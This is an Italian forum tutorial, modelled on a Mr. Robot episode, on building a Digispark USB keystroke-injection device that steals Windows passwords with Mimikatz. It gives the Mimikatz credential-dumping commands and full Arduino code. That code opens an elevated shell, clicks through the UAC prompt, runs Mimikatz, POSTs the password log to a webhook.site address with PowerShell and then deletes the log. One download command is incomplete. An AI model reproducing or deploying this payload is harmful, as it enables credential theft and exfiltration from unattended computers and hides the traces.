Guida Mimikatz e Digispark

0xGhost

Helper
22 Febbraio 2022
409
37
295
253
Ultima modifica:
Se avete visto mr. robot vi ricordete sicuramente di quando Angela doveva smanettare con la femtocella e che se non ci fosse riuscita avrebbe dovuto prendere una rubber ducky con dentro Mimikatz e metterla in un PC dell'FBI, per ecco, oggi facciamo la stessa cosa ma con la Digispark.
rubber-robot.png

mr. robot: stagione 2, episodio 6
Occorenti:
1. Mimikatz
Katz è un Exploit scritto in C per Windows che riesce ad estrarre hash, pin, password in chiaro e molto altro dalla RAM, Scarichiamo il file .zip da Github ed estraiamo la cartella x64 se il nostro Windows è a 64 bit o Win32 se è a 32 bit; io lavoro da Windows 7 in virtual machine quindi userò quest'ultimo, runniamolo come Adminastrator facendo clic destro e andando sulla voce Run as administrator, Ora siamo pronti ad usare l'exploit, scriviamo:
Codice:
privilege::debug
log
sekurlsa::logonpassword
mimikatz.png

Col primo comando verifichiamo se abbiamo i diritti di root, se esceprivilege '20' OK possiamo continuare, poi creiamo un file di log, dove verranno registrati tutti i comandi con i relativi input e infine col terzo mostriamo a schermo tutte le password che Windows salva in chiaro nella RAM:
pass-win7-mimikatz.png

Se scorriamo giù possiamo vedere la password dell'account Windows: Passw0rd!
Se ben ricordate, col, comando log, abbiamo creato un file .log, quel file contiene tutto l'input e output della shell di mimikatz, quindi per completare il nostro attacco basta inviarci quel file su webhook tramite il powershell.


2. Creazione del Payload
Ora programmiamo con Wiring un payload che andrà a scaricare mimikatz.exe e invierà il file di log al nostro sito webhook con powershell
Apriamo l'IDE di Arduino e iniziamo a programmare, ci servirà la libreria KeybaordES.h, si può scaricare da qui, per poterla usare la si deve aggiungere alla cartella appdata>local>arduino 15>packages>digistump>hardware>avr>libraries>digisparkkeyboard, questo è il codice:
C++:
#include "KeyboardES.h"

void setup() {
  // Download mimikatz.exe
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("powershell start-process cmd -Verb runAs"); // Open root cmd
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("curl -O mimikatz.exe");
  DigiKeyboard.delay(700);
  DigiKeyboard.print("exit");
  // Start root mimikatz
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(200);
  DigiKeyboard.print("powershell start-process C:/Windows/System32/mimikatz.exe -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(700);
  // password extraction
  DigiKeyboard.print("privilege::debug");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("log");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(100);
  DigiKeyboard.print("sekurlsa::logonpasswords");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  // Send log file
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(800);
  DigiKeyboard.print("powershell start-process cmd -Verb runAs");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_A);
  DigiKeyboard.delay(1000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(300);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(700);
  DigiKeyboard.print("powershell Invoke-WebRequest -UseBasicParsing -uri https://webhook.site/1d0c0f77-a605-45ab-ae63-3294f9716698 -Method  POST -InFile mimikatz.log");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(800);
  // Deletions of mimikatzand log files
  DigiKeyboard.print("del C:/Windows/System32/mimikatz/mimikatz.log");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.print("exit");
  DigiKeyboard.delay(100);
}

void loop() {
  // put your main code here, to run repeatedly:

}
Ora carichiamolo sulla digispark e testiamolo (Se qualcosa non va controllate bene i percosi dei file), teniamo aperto il nostro sito WebHook e inseriamo la chiavetta digispark nel PC e dopo circa 15 secondi dovrebbe aver finito, leviamo la chiavetta e torniamo al nostro PC per vedere tutte le informazione estratte:
Immagine 2022-06-14 150133.png

Il file di log è arrivato correttamente al nostro sito WebHook.

./ghxst